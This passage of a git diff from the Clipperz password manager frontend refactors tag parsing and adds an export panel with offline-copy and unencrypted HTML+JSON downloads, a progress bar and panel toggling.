deferredResult.addMethod(this,function(notesIn) { data['notes'] = notesIn; }); - deferredResult.addMethod(this,function() { currentVersion['reference'] = this.currentVersionReference(); }); +// deferredResult.addMethod(this,function(keyIn) { data['currentVersionKey'] = keyIn; }); + deferredResult.addMethod(this, 'notes'); + deferredResult.addMethod(this, function(notesIn) { data['notes'] = notesIn; }); +// deferredResult.addMethod(this, function() { currentVersion['reference'] = this.currentVersionReference(); }); deferredResult.addCallback(function() { return currentVersionObject.exportFields(); }), deferredResult.addCallback(function(fieldsIn) { currentVersion['fields'] = fieldsIn; }); - deferredResult.addMethod(this,function() { + deferredResult.addMethod(this, function() { return { 'label': label, 'data': data, @@ -1267,3 +1234,34 @@ Clipperz.PM.DataModel.Record.isRegularTag = function (aTag) { Clipperz.PM.DataModel.Record.regExpForSearch = function (aSearch) { return new RegExp(aSearch.replace(/[^A-Za-z0-9]/g, '\\$&'), 'i'); }; + + + +Clipperz.PM.DataModel.Record.tagRegExp = new RegExp('\\' + Clipperz.PM.DataModel.Record.tagChar + '(' + Clipperz.PM.DataModel.Record.specialTagChar + '?\\w+)', 'g'); +Clipperz.PM.DataModel.Record.trimSpacesRegExp = new RegExp('^\\s+|\\s+$', 'g'); + +Clipperz.PM.DataModel.Record.extractLabelFromFullLabel = function (aValue) { + var value; + + value = aValue; + value = value.replace(Clipperz.PM.DataModel.Record.tagRegExp, ''); + value = value.replace(Clipperz.PM.DataModel.Record.trimSpacesRegExp, ''); + + return value; +}; + +Clipperz.PM.DataModel.Record.extractTagsFromFullLabel = function (aLabel) { + var tagRegEx; + var result; + var match; + + result = {}; + tagRegEx = Clipperz.PM.DataModel.Record.tagRegExp; + match = tagRegEx.exec(aLabel); + while (match != null) { + result[match[1]] = true; + match = tagRegEx.exec(aLabel); + } + + return result; +}; diff --git a/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataExport.js b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataExport.js index 13ebe3f..fb2ceb4 100644 --- a/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataExport.js +++ b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataExport.js @@ -30,18 +30,77 @@ Clipperz.PM.UI.Components.ExtraFeatures.DataExportClass = React.createClass({ // featureSet: React.PropTypes.oneOf(['FULL', 'EXPIRED', 'TRIAL']).isRequired, // 'level': React.PropTypes.oneOf(['hide', 'info', 'warning', 'error']).isRequired }, +/* + jsonExport: function () { + MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'export', 'json'); + }, + htmlExport: function () { + MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'export', 'html'); + }, +*/ + + isFeatureEnabled: function (aValue) { + return (this.props['features'].indexOf(aValue) > -1); + }, + + handleDownloadOfflineCopyLink: function (anEvent) { + if (this.isFeatureEnabled('OFFLINE_COPY')) { + MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'downloadOfflineCopy'); + } + }, + + handleExportLink: function () { + MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'downloadExport'); + }, + + //========================================================================= render: function () { return React.DOM.div({className:'extraFeature devicePIN'}, [ React.DOM.h1({}, "Export"), - React.DOM.p({'className': 'link', 'onClick': MochiKit.Base.method(this, function(){ - MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'export','json'); - })}, "JSON"), - React.DOM.p({'className': 'link', 'onClick': MochiKit.Base.method(this, function(){ - MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'export','printable'); - })}, "Printable version") + React.DOM.div({'className': 'content'}, [ + React.DOM.ul({}, [ + React.DOM.li({}, [ + React.DOM.h3({}, "Offline copy"), + React.DOM.div({'className':'description'}, [ + React.DOM.p({}, "Download a read-only portable version of Clipperz. Very convenient when no Internet connection is available."), + React.DOM.p({}, "An offline copy is just a single HTML file that contains both the whole Clipperz web application and your encrypted data."), + React.DOM.p({}, "It is as secure as the hosted Clipperz service since they both share the same code and security architecture.") + ]), + React.DOM.a({'className':'button', 'onClick':this.handleDownloadOfflineCopyLink}, "download offline copy") + ]), + React.DOM.li({}, [ + React.DOM.h3({}, "HTML + JSON"), + React.DOM.div({'className':'description'}, [ + React.DOM.p({}, "Download a printer-friendly HTML file that lists the content of all your cards."), + React.DOM.p({}, "This same file also contains all your data in JSON format."), + React.DOM.p({}, "Beware: all data are unencrypted! Therefore make sure to properly store and manage this file.") + ]), + React.DOM.a({'className':'button', 'onClick':this.handleExportLink}, "download HTML+JSON") + ]), +/* + React.DOM.li({}, [ + React.DOM.h3({}, "Printing"), + React.DOM.div({'className':'description'}, [ + React.DOM.p({}, "Click on the button below to open a new window displaying all your cards in a printable format."), + React.DOM.p({}, "If you are going to print for backup purposes, please consider the safer option provided by the “offline copy”.") + ]), + React.DOM.a({'className':'button', 'onClick':this.htmlExport}, "HTML") + ]), + React.DOM.li({}, [ + React.DOM.h3({}, "Exporting to JSON"), + React.DOM.div({'className':'description'}, [ + React.DOM.p({}, "JSON enables a “lossless” export of your cards. All the information will be preserved, including direct login configurations."), + React.DOM.p({}, "This custom format it’s quite convenient if you need to move some of all of your cards to a different Clipperz account. Or if you want to restore a card that has been accidentally deleted."), + React.DOM.p({}, "Click on the button below to start the export process.") + ]), + React.DOM.a({'className':'button', 'onClick':this.jsonExport}, "JSON"), + ]) +*/ + ]) + ]) ]); }, diff --git a/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DeleteAccount.js b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DeleteAccount.js index 3c71f0d..fc1d976 100644 --- a/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DeleteAccount.js +++ b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DeleteAccount.js @@ -78,19 +78,21 @@ Clipperz.PM.UI.Components.ExtraFeatures.DeleteAccountClass = React.createClass({ return React.DOM.div({className:'extraFeature deleteAccount'}, [ React.DOM.h1({}, "Delete Account"), - React.DOM.form({'key':'form', 'className':'deleteAccountForm', 'onChange': this.handleFormChange, 'onSubmit':this.handleDeleteAccount}, [ - React.DOM.div({'key':'fields'},[ - React.DOM.label({'key':'username-label', 'htmlFor' :'name'}, "username"), - React.DOM.input({'key':'username', 'className':this.state['username'], 'type':'text', 'name':'name', 'ref':'username', 'placeholder':"username", 'autoCapitalize':'none'}), - React.DOM.label({'key':'passphrase-label', 'autoFocus': 'true', 'htmlFor' :'passphrase'}, "passphrase"), - React.DOM.input({'key':'passphrase', 'className':this.state['passphrase'], 'type':'password', 'name':'passphrase', 'ref':'passphrase', 'placeholder':"passphrase"}), - React.DOM.p({}, [ - React.DOM.input({'key':'confirm', 'className':'confirmCheckbox', 'type':'checkbox', 'name':'confirm', 'ref':'confirm'}), - React.DOM.span({}, "I understand that all my data will be deleted and that this action is irreversible.") + React.DOM.div({'className': 'content'}, [ + React.DOM.form({'key':'form', 'className':'deleteAccountForm', 'onChange': this.handleFormChange, 'onSubmit':this.handleDeleteAccount}, [ + React.DOM.div({'key':'fields'},[ + React.DOM.label({'key':'username-label', 'htmlFor' :'name'}, "username"), + React.DOM.input({'key':'username', 'className':this.state['username'], 'type':'text', 'name':'name', 'ref':'username', 'placeholder':"username", 'autoCapitalize':'none'}), + React.DOM.label({'key':'passphrase-label', 'autoFocus': 'true', 'htmlFor' :'passphrase'}, "passphrase"), + React.DOM.input({'key':'passphrase', 'className':this.state['passphrase'], 'type':'password', 'name':'passphrase', 'ref':'passphrase', 'placeholder':"passphrase"}), + React.DOM.p({}, [ + React.DOM.input({'key':'confirm', 'className':'confirmCheckbox', 'type':'checkbox', 'name':'confirm', 'ref':'confirm'}), + React.DOM.span({}, "I understand that all my data will be deleted and that this action is irreversible.") + ]), ]), - ]), - React.DOM.button({'key':'button', 'type':'submit', 'disabled':!this.shouldEnableDeleteAccountButton(), 'className':'button'}, "Delete my account") - //~ React.DOM.div({ref: 'errorMessage', className: 'errorMessage', style: {visibility: errorVisibility} }, this.state.error) + React.DOM.button({'key':'button', 'type':'submit', 'disabled':!this.shouldEnableDeleteAccountButton(), 'className':'button'}, "Delete my account") + //~ React.DOM.div({ref: 'errorMessage', className: 'errorMessage', style: {visibility: errorVisibility} }, this.state.error) + ]) ]) ]); }, diff --git a/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DevicePIN.js b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DevicePIN.js index 45c835e..9c8e938 100644 --- a/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DevicePIN.js +++ b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DevicePIN.js @@ -36,7 +36,9 @@ Clipperz.PM.UI.Components.ExtraFeatures.DevicePINClass = React.createClass({ render: function () { return React.DOM.div({className:'extraFeature devicePIN'}, [ React.DOM.h1({}, "Device PIN"), - React.DOM.h3({}, this.props['PIN']) + React.DOM.div({'className': 'content'}, [ + React.DOM.h3({}, this.props['PIN']) + ]) ]); }, diff --git a/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/Passphrase.js b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/Passphrase.js index a286d3a..49f7aeb 100644 --- a/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/Passphrase.js +++ b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/Passphrase.js @@ -101,27 +101,29 @@ Clipperz.PM.UI.Components.ExtraFeatures.PassphraseClass = React.createClass({ render: function () { return React.DOM.div({className:'extraFeature passphrase'}, [ React.DOM.h1({}, "Change Passphrase"), - React.DOM.form({'key':'form', 'className':'changePassphraseForm', 'onChange': this.handleFormChange, 'onSubmit':this.handleChangePassphrase}, [ - React.DOM.div({'key':'fields'},[ - React.DOM.label({'key':'username-label', 'htmlFor' :'name'}, "username"), - React.DOM.input({'key':'username', 'className':this.state['username'], 'type':'text', 'name':'name', 'ref':'username', 'placeholder':"username", 'autoCapitalize':'none'}), + React.DOM.div({'className': 'content'}, [ + React.DOM.form({'key':'form', 'className':'changePassphraseForm', 'onChange': this.handleFormChange, 'onSubmit':this.handleChangePassphrase}, [ + React.DOM.div({'key':'fields'},[ + React.DOM.label({'key':'username-label', 'htmlFor' :'name'}, "username"), + React.DOM.input({'key':'username', 'className':this.state['username'], 'type':'text', 'name':'name', 'ref':'username', 'placeholder':"username", 'autoCapitalize':'none'}), - React.DOM.label({'key':'old-passphrase-label', 'htmlFor' :'old-passphrase'}, "old passphrase"), - React.DOM.input({'key':'old-passphrase', 'className':this.state['old-passphrase'], 'type':'password', 'name':'old-passphrase', 'ref':'old-passphrase', 'placeholder':"old passphrase"}), + React.DOM.label({'key':'old-passphrase-label', 'htmlFor' :'old-passphrase'}, "old passphrase"), + React.DOM.input({'key':'old-passphrase', 'className':this.state['old-passphrase'], 'type':'password', 'name':'old-passphrase', 'ref':'old-passphrase', 'placeholder':"old passphrase"}), - React.DOM.label({'key':'new-passphrase-label', 'autoFocus': 'true', 'htmlFor' :'new-passphrase'}, "new passphrase"), - React.DOM.input({'key':'new-passphrase', 'className':this.state['new-passphrase'], 'type':'password', 'name':'new-passphrase', 'ref':'new-passphrase', 'placeholder':"new passphrase"}), + React.DOM.label({'key':'new-passphrase-label', 'autoFocus': 'true', 'htmlFor' :'new-passphrase'}, "new passphrase"), + React.DOM.input({'key':'new-passphrase', 'className':this.state['new-passphrase'], 'type':'password', 'name':'new-passphrase', 'ref':'new-passphrase', 'placeholder':"new passphrase"}), - React.DOM.label({'key':'confirm-new-passphrase-label', 'htmlFor' :'confirm-new-passphrase'}, "confirm new passphrase"), - React.DOM.input({'key':'confirm-new-passphrase', 'className':this.state['confirm-new-passphrase'], 'type':'password', 'name':'confirm-new-passphrase', 'ref':'confirm-new-passphrase', 'placeholder':"confirm new passphrase"}), + React.DOM.label({'key':'confirm-new-passphrase-label', 'htmlFor' :'confirm-new-passphrase'}, "confirm new passphrase"), + React.DOM.input({'key':'confirm-new-passphrase', 'className':this.state['confirm-new-passphrase'], 'type':'password', 'name':'confirm-new-passphrase', 'ref':'confirm-new-passphrase', 'placeholder':"confirm new passphrase"}), - React.DOM.p({}, [ - React.DOM.input({'key':'confirm', 'className':'confirmCheckbox', 'type':'checkbox', 'name':'confirm', 'ref':'confirm'}), - React.DOM.span({}, "I understand that Clipperz will not be able to recover a lost passphrase.") + React.DOM.p({}, [ + React.DOM.input({'key':'confirm', 'className':'confirmCheckbox', 'type':'checkbox', 'name':'confirm', 'ref':'confirm'}), + React.DOM.span({}, "I understand that Clipperz will not be able to recover a lost passphrase.") + ]), ]), - ]), - React.DOM.button({'key':'button', 'type':'submit', 'disabled':!this.shouldEnableChangePassphraseButton(), 'className':'button'}, "Change passphrase"), - ]), + React.DOM.button({'key':'button', 'type':'submit', 'disabled':!this.shouldEnableChangePassphraseButton(), 'className':'button'}, "Change passphrase"), + ]) + ]) ]); }, diff --git a/frontend/delta/js/Clipperz/PM/UI/Components/Overlay.js b/frontend/delta/js/Clipperz/PM/UI/Components/Overlay.js index f9f6bcd..01d8a77 100644 --- a/frontend/delta/js/Clipperz/PM/UI/Components/Overlay.js +++ b/frontend/delta/js/Clipperz/PM/UI/Components/Overlay.js @@ -53,11 +53,15 @@ Clipperz.Base.extend(Clipperz.PM.UI.Components.Overlay, Object, { //------------------------------------------------------------------------- - 'show': function (aMessage, showMask) { + 'show': function (aMessage, showMask, showProgress) { if (showMask === true) { this.showMask(); } + if (showProgress === true) { + this.showProgressBar(); + } + this.resetStatus(); this.setMessage(aMessage); MochiKit.DOM.removeElementClass(this.element(), 'ios-overlay-hide'); @@ -66,6 +70,7 @@ Clipperz.Base.extend(Clipperz.PM.UI.Components.Overlay, Object, { 'done': function (aMessage, aDelayBeforeHiding) { this.hideMask(); + this.hideProgressBar(); this.completed(this.showDoneIcon, aMessage, aDelayBeforeHiding); }, @@ -114,6 +119,7 @@ Clipperz.Base.extend(Clipperz.PM.UI.Components.Overlay, Object, { 'hide': function () { var element = this.element(); + this.hideProgressBar(); MochiKit.DOM.removeElementClass(element, 'ios-overlay-show'); MochiKit.DOM.addElementClass(element, 'ios-overlay-hide'); return MochiKit.Async.callLater(1, MochiKit.Style.hideElement, element); @@ -133,6 +139,21 @@ Clipperz.Base.extend(Clipperz.PM.UI.Components.Overlay, Object, { //------------------------------------------------------------------------- + 'showProgressBar': function () { + MochiKit.Style.showElement(this.getElement('progressBar')); + }, + + 'hideProgressBar': function () { + MochiKit.Style.hideElement(this.getElement('progressBar')); + }, + + 'updateProgress': function (aProgressPercentage) { + MochiKit.Style.setElementDimensions(this.getElement('progress'), {'w': aProgressPercentage}, '%'); +//console.log("OVERLAY - updating progress: " + aProgressPercentage + "%"); + }, + + //------------------------------------------------------------------------- + 'defaultDelay': function () { return this._defaultDelay; }, diff --git a/frontend/delta/js/Clipperz/PM/UI/Components/Panels/ExtraFeaturesPanel.js b/frontend/delta/js/Clipperz/PM/UI/Components/Panels/ExtraFeaturesPanel.js index 92609e5..f27ccd7 100644 --- a/frontend/delta/js/Clipperz/PM/UI/Components/Panels/ExtraFeaturesPanel.js +++ b/frontend/delta/js/Clipperz/PM/UI/Components/Panels/ExtraFeaturesPanel.js @@ -70,9 +70,13 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({ //========================================================================= - showExtraFeatureComponent: function (aComponentName) { + toggleExtraFeatureComponent: function (aComponentName) { return MochiKit.Base.bind(function () { - this.showExtraFeatureContent(Clipperz.PM.UI.Components.ExtraFeatures[aComponentName], aComponentName); + if (this.state['extraFeatureComponentName'] != aComponentName) { + this.showExtraFeatureContent(Clipperz.PM.UI.Components.ExtraFeatures[aComponentName], aComponentName); + } else { + this.hideExtraFeatureContent(); + } }, this); }, @@ -118,7 +122,7 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({ React.DOM.li({'key':'account', 'className':this.state['index']['account'] ? 'open' : 'closed'}, [ React.DOM.h1({'key':'accountH1', 'onClick':this.toggleIndexState('account')}, "Account"), React.DOM.ul({'key':'accountUL'}, [ - React.DOM.li({'key':'account_1', 'onClick':this.showExtraFeatureComponent('Passphrase'), 'className':(this.state['extraFeatureComponentName'] == 'Passphrase') ? 'selected' : ''}, [ + React.DOM.li({'key':'account_1', 'onClick':this.toggleExtraFeatureComponent('Passphrase'), 'className':(this.state['extraFeatureComponentName'] == 'Passphrase') ? 'selected' : ''}, [ React.DOM.h2({'key':'account_1_h2'}, "Passphrase"), React.DOM.div({'key':'account_1_div'}, [ React.DOM.p({'key':'account_1_p'}, "Change your account passphrase.") @@ -130,7 +134,7 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({ React.DOM.p({}, "") ]) ]), - React.DOM.li({'key':'account_3', 'onClick':this.showExtraFeatureComponent('DevicePIN')}, [ + React.DOM.li({'key':'account_3', 'onClick':this.toggleExtraFeatureComponent('DevicePIN')}, [ React.DOM.h2({}, "Device PIN"), React.DOM.div({}, [ React.DOM.p({}, "Configure a PIN that will allow to get access to your cards, but only on this device.") @@ -142,7 +146,7 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({ React.DOM.p({}, "") ]) ]), - React.DOM.li({'key':'account_5', 'onClick':this.showExtraFeatureComponent('DeleteAccount'), 'className':(this.state['extraFeatureComponentName'] == 'DeleteAccount') ? 'selected' : ''}, [ + React.DOM.li({'key':'account_5', 'onClick':this.toggleExtraFeatureComponent('DeleteAccount'), 'className':(this.state['extraFeatureComponentName'] == 'DeleteAccount') ? 'selected' : ''}, [ React.DOM.h2({}, "Delete account"), React.DOM.div({}, [ React.DOM.p({}, "Delete your account for good.") @@ -182,29 +186,29 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({ React.DOM.li({'key':'data', 'className':this.state['index']['data'] ? 'open' : 'closed'}, [ React.DOM.h1({'onClick':this.toggleIndexState('data')}, "Data"), React.DOM.ul({'key':'data'}, [ - React.DOM.li({'key':'data_1'}, [ - React.DOM.h2({}, "Offline copy"), - React.DOM.div({}, [ - React.DOM.p({}, "With just one click you can dump all your encrypted data from Clipperz servers to your hard disk and create a read-only offline version of Clipperz to be used when you are not connected to the Internet."), - React.DOM.a({'className':Clipperz.PM.UI.Components.classNames(offlineCopyButtonClasses), 'onClick':this.handleDownloadOfflineCopyLink}, "Download") - ]) - ]), +// React.DOM.li({'key':'data_1', 'className':'offlineCopy'}, [ +// React.DOM.h2({}, "Offline copy"), +// React.DOM.div({}, [ +// React.DOM.p({}, "With just one click you can dump all your encrypted data from Clipperz servers to your hard disk and create a read-only offline version of Clipperz to be used when you are not connected to the Internet."), +// React.DOM.a({'className':Clipperz.PM.UI.Components.classNames(offlineCopyButtonClasses), 'onClick':this.handleDownloadOfflineCopyLink}, "Download") +// ]) +// ]), React.DOM.li({'key':'data_2'}, [ React.DOM.h2({}, "Import"), React.DOM.div({}, [ - React.DOM.p({}, "") + React.DOM.p({}, "CSV, JSON, …") ]) ]), - React.DOM.li({'key':'data_3', 'onClick':this.showExtraFeatureComponent('DataExport')}, [ + React.DOM.li({'key':'data_3', 'onClick':this.toggleExtraFeatureComponent('DataExport'), 'className':(this.state['extraFeatureComponentName'] == 'DataExport') ? 'selected' : ''}, [ React.DOM.h2({}, "Export"), React.DOM.div({}, [ - React.DOM.p({}, "") + React.DOM.p({}, "Offline copy, printable version, JSON, …") ]) ]), React.DOM.li({'key':'data_4'}, [ React.DOM.h2({}, "Sharing"), React.DOM.div({}, [ - React.DOM.p({}, "") + React.DOM.p({}, "Securely share cards with other users") ]) ]) ]) @@ -229,17 +233,20 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({ render: function () { //console.log("ExtraFeaturesPanel props", this.props); + var isOpen = (this.props['settingsPanelStatus'] == 'OPEN'); + var isFullyOpen = isOpen && this.state['isFullyOpen']; + var classes = { 'panel': true, 'right': true, - 'open': this.props['settingsPanelStatus'] == 'OPEN', - 'fullOpen': this.state['isFullyOpen'] + 'open': isOpen, + 'fullOpen': isFullyOpen } - return React.DOM.div({'key':'extraFeaturesPanel', 'id':'extraFeaturesPanel', 'className':Clipperz.PM.UI.Components.classNames(classes)}, [ this.renderIndex(), this.renderContent(), +// (this.props['settingsPanelStatus'] == 'OPEN') ? this.renderContent() : null, ]); } diff --git a/frontend/delta/js/Clipperz/PM/UI/ExportController.js b/frontend/delta/js/Clipperz/PM/UI/ExportController.js index 11c5207..a4bd81c 100644 --- a/frontend/delta/js/Clipperz/PM/UI/ExportController.js +++ b/frontend/delta/js/Clipperz/PM/UI/ExportController.js @@ -21,87 +21,111 @@ refer to http://www.clipperz.com. */ +"use strict"; Clipperz.Base.module('Clipperz.PM.UI'); +// https://github.com/eligrey/FileSaver.js +// https://github.com/eligrey/Blob.js + Clipperz.PM.UI.ExportController = function(args) { - this._type = args['type'] || Clipperz.Base.exception.raise('MandatoryParameter'); this._recordsInfo = args['recordsInfo'] || Clipperz.Base.exception.raise('MandatoryParameter'); - this._target = Clipperz.PM.Crypto.randomKey(); + this._processedRecords = 0; - this._style = "body {"+ - " margin: 0;"+ - " padding: 0;"+ - " font-family: monospace;"+ - "}"+ - ""+ - "p {"+ - " padding-left: 1em;"+ - "}"+ - ""+ - "h1 {"+ - " color: #ff9900;"+ - " background: black;"+ - " box-shadow: 0px 5px 6px 0 rgba(0, 0, 0, 0.15);"+ - " margin: 0;"+ - " padding:1em;"+ - "}"+ - ""+ - ".progressBar {"+ - " position: absolute;"+ - " width: 100%;"+ - " margin-top: 0px;"+ - " "+ - "}"+ - ""+ - "#completed {"+ - " background: #ff9900;"+ - " color: white;"+ - " width: 0;"+ - " overflow: hidden;"+ - " font-size: 0.8em;"+ - " box-shadow: 0px 4px 6px 0 rgba(0, 0, 0, 0.15);"+ - "}"+ - ""+ - "#printableUl {"+ - " width:100%;"+ - " height:80%;"+ - " margin: 0;"+ - " padding: 0;"+ - " list-style-type: none;"+ - "}"+ - ""+ - "#printableUl li {"+ - " border: 1px solid #1863a1;"+ - " margin: 1em;"+ - ""+ - "}"+ - ""+ - "#printableUl li .label {"+ - " background: #1863a1;"+ - " color: white;"+ - " display: block;"+ - " padding: 1em;"+ - "}"+ - ""+ - "#printableUl li dl {"+ - " padding: 1em;"+ - "}"+ - ""+ - "#printableUl li dl dt {"+ - " color: darkgray;"+ - "}"+ - ""+ - "#printableUl li dl dd {"+ - " padding: 0;"+ - " margin: 0 0 .5em 0;"+ - "}"+ - ""+ - "#printableUl li .notes {"+ - " font-style: italic;"+ - " padding: 1em 0 0 1em;"+ - " display: block;"+ - "}"+ - ""; + this._style = + "body {" + + "font-family: 'Dejavu Sans', monospace;" + + "margin: 0px;" + + "}" + + + "header {" + + "padding: 10px;" + + "border-bottom: 2px solid black;" + + "}" + + + "h1 {" + + "margin: 0px;" + + "}" + + + "h2 {" + + "margin: 0px;" + + "padding-top: 10px;" + + "}" + + + "h3 {" + + "margin: 0px;" + + "}" + + + "h5 {" + + "margin: 0px;" + + "color: gray;" + + "}" + + + "ul {" + + "margin: 0px;" + + "padding: 0px;" + + "}" + + + "div > ul > li {" + + "border-bottom: 1px solid black;" + + "padding: 10px;" + + "}" + + + "div > ul > li.archived {" + + "background-color: #ddd;" + + "}" + + + + "ul > li > ul > li {" + + "font-size: 9pt;" + + "display: inline-block;" + + "}" + + + "ul > li > ul > li:after {" + + "content: \",\";" + + "padding-right: 5px;" + + "}" + + + "ul > li > ul > li:last-child:after {" + + "content: \"\";" + + "padding-right: 0px;" + + "}" + + + "dl {" + + "}" + + + "dt {" + + "color: gray;" + + "font-size: 9pt;" + + "}" + + + "dd {" + + "margin: 0px;" + + "margin-bottom: 5px;" + + "padding-left: 10px;" + + "}" + + + "div > div {" + + "background-color: black;" + + "color: white;" + + "padding: 10px;" + + "}" + + + "textarea {" + + "width: 100%;" + + "height: 200px;" + + "}" + + + "@media print {" + + "div > div, header > div {" + + "display: none !important;" + + "}" + + + "ul > li {" + + "page-break-inside: avoid;" + + "} " + + "}" + + + ""; return this; } @@ -114,188 +138,141 @@ MochiKit.Base.update(Clipperz.PM.UI.ExportController.prototype, { //----------------------------------------------------------------------------- - 'type': function () { - return this._type; - }, - 'recordsInfo': function () { return this._recordsInfo; }, - 'target': function () { - return this._target; + //============================================================================= + + 'reportRecordExport': function (aRecordData) { + var percentage; + var exportedCardsCount; + var totalCardsToExport; + + this._processedRecords = this._processedRecords + 1; + + exportedCardsCount = this._processedRecords; + totalCardsToExport = this.recordsInfo().length; + percentage = Math.round(100 * exportedCardsCount / totalCardsToExport); + +//console.log("PROCESSING " + exportedCardsCount + "/" + totalCardsToExport + " - " + percentage + "%"); + MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'updateProgress', percentage); + + return MochiKit.Async.succeed(aRecordData); }, //============================================================================= - 'setWindowTitle': function (aWindow, aTitle) { - aWindow.document.title = aTitle; - }, - - 'setWindowBody': function (aWindow, anHTML) { - aWindow.document.body.innerHTML = anHTML; + 'renderCardToHtml': function (jsonCardData) { + var label = Clipperz.PM.DataModel.Record.extractLabelFromFullLabel(jsonCardData.label); + var allTags = MochiKit.Base.keys(Clipperz.PM.DataModel.Record.extractTagsFromFullLabel(jsonCardData.label)); + var regularTags = MochiKit.Base.filter(Clipperz.PM.DataModel.Record.isRegularTag, allTags); + var isArchived = MochiKit.Iter.some(allTags, MochiKit.Base.partial(MochiKit.Base.objEqual, Clipperz.PM.DataModel.Record.archivedTag)); + + return MochiKit.DOM.LI({'class': isArchived ? 'archived' : ""}, + MochiKit.DOM.H2({}, label), + (regularTags.length > 0) ? MochiKit.DOM.UL({}, MochiKit.Base.map(function (tag) { return MochiKit.DOM.LI({}, tag);}, regularTags)): null, + MochiKit.DOM.DIV({}, + MochiKit.DOM.DL({}, + MochiKit.Base.map(function(key) { + return [ + MochiKit.DOM.DT(jsonCardData.currentVersion.fields[key].label), + MochiKit.DOM.DD(jsonCardData.currentVersion.fields[key].value), + ]; + }, MochiKit.Base.keys(jsonCardData.currentVersion.fields)) + ) + ), + jsonCardData.data.notes ? MochiKit.DOM.P({}, jsonCardData.data.notes) : null + ); }, - //============================================================================= + 'renderToHtml': function (jsonData) { + var title; + var style; + var date; + var body; - 'initialWindowSetup': function (aWindow) { - var dom = MochiKit.DOM.DIV({'id': 'main'}, - MochiKit.DOM.H1("Clipperz Exported Data (loading...)"), - MochiKit.DOM.DIV({'class': 'progressBar'}, - MochiKit.DOM.DIV({'id': 'completed'}, - MochiKit.DOM.P({'style': 'margin:0; padding:0; text-align:center;'}, MochiKit.DOM.SPAN({'id': 'nCompleted'},"0"),"/",MochiKit.DOM.SPAN({'id': 'nTotal'},"") ) + title = "Clipperz data"; + style = this._style; + date = "dd/mm/yyyy"; + + body = MochiKit.DOM.DIV({}, + MochiKit.DOM.HEADER({}, + MochiKit.DOM.H1({}, "Your data on Clipperz"), + MochiKit.DOM.H5({}, "Export date: " + date), + MochiKit.DOM.DIV({}, + MochiKit.DOM.P({}, "Security warning - This file lists the content of all your cards in a printer-friendly format. At the very bottom, the same content is also available in JSON format."), + MochiKit.DOM.P({}, "Beware: all data are unencrypted! Therefore make sure to properly store and manage this file. We recommend to delete it as soon as it is no longer needed."), + MochiKit.DOM.P({}, "If you are going to print its content on paper, store the printout in a safe and private place!"), + MochiKit.DOM.P({}, "And, if you need to access your data when no Internet connection is available, please consider the much safer option of creating an offline copy.") + ) + ), + + MochiKit.DOM.UL({}, MochiKit.Base.map(this.renderCardToHtml, jsonData)), + MochiKit.DOM.DIV({}, + MochiKit.DOM.H3({}, "JSON content"), + MochiKit.DOM.DIV({}, + MochiKit.DOM.P({}, "Instructions on how to use JSON content"), + MochiKit.DOM.P({}, "The JSON version of your data may be useful if you want to move the whole content of your Clipperz account to a new Clipperz account or recover a card that has been accidentally deleted. Just follow these instructions:"), + MochiKit.DOM.OL({}, + MochiKit.DOM.LI({}, "Login to your Clipperz account and go to \"Data > Import\"."), + MochiKit.DOM.LI({}, "Select the JSON option."), + MochiKit.DOM.LI({}, "Copy and paste the JSON content in the form.") + ), + MochiKit.DOM.P({}, "Of course, the unencrypted JSON content won't be transmitted to the Clipperz server.") + ), + MochiKit.DOM.TEXTAREA({}, Clipperz.Base.serializeJSON(jsonData)), + MochiKit.DOM.FOOTER({}, + MochiKit.DOM.P({}, + "This file has been downloaded from clipperz.is, a service by Clipperz Srl. - ", + MochiKit.DOM.A({'href':'https://clipperz.is/terms_service/'}, "Terms of service"), + " - ", + MochiKit.DOM.A({'href':'https://clipperz.is/privacy_policy/'}, "Privacy policy") + ), + MochiKit.DOM.H4({}, "Clipperz - keep it to yourself") ) ) ); - - aWindow.document.getElementsByTagName('head')[0].appendChild( MochiKit.DOM.STYLE(this._style) ); - - this.setWindowTitle(aWindow, "Clipperz Exported Data (loading...)"); - this.setWindowBody (aWindow, MochiKit.DOM.toHTML(dom)); + + return '' + title + '' + MochiKit.DOM.toHTML(body) + ''; }, - //----------------------------------------------------------------------------- - - 'updateWindowWithHTMLContent': function (aWindow, anHtml) { - this.setWindowBody(aWindow, anHtml); - }, - - 'updateWindowJSON': function (aWindow, exportedJSON) { - var dom = MochiKit.DOM.DIV({'id': 'main'}, - MochiKit.DOM.H1("Clipperz Exported Data"), - MochiKit.DOM.P("You can now save the following data and load it at any time using the Clipperz import feature."), - MochiKit.DOM.TEXTAREA({'style': 'width:100%; height:80%'}, Clipperz.Base.serializeJSON(exportedJSON)) - ); + //---------------------------------------------------------------------------- + + 'saveResult': function (exportedJSON) { + var blob; + var sortedJSON; - this.setWindowTitle(aWindow, "Clipperz Exported Data"); 